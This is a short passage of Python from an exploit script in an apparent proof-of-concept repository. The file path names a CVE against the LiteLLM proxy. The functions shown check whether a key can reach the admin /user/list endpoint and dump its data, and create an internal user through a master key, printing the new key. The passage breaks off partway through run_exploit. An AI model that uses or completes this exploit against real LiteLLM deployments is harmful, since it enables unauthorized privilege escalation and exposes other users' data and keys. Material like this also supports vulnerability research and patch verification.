INNER CODE UNIT · Python
verify_only
Unclecheng-li/poc-lab · AI Infrastructure/CVE-2026-47101 LiteLLM/exploit/exploit.py:122
def verify_only(target: str, token: str) -> int:
print("[*] Verifying current key privileges only.")
data = verify_admin_access(target, token)
print("[+] Current key can access /user/list:")
print(json.dumps(data, ensure_ascii=False, indent=2)[:4000])
return 0
def run_exploit(target: str, master_key: str | None, user_key: str | None, user_id: str | None) -> int:
if user_key:
token = user_key
elif master_key:
print("[*] No internal_user key provided; creating one via master key.")
user_id_created, token = create_internal_user(target, master_key)
print(f"[+] Created internal_user: user_id={user_id_created} key={token}")
if not user_id:
user_id = user_id_created
else: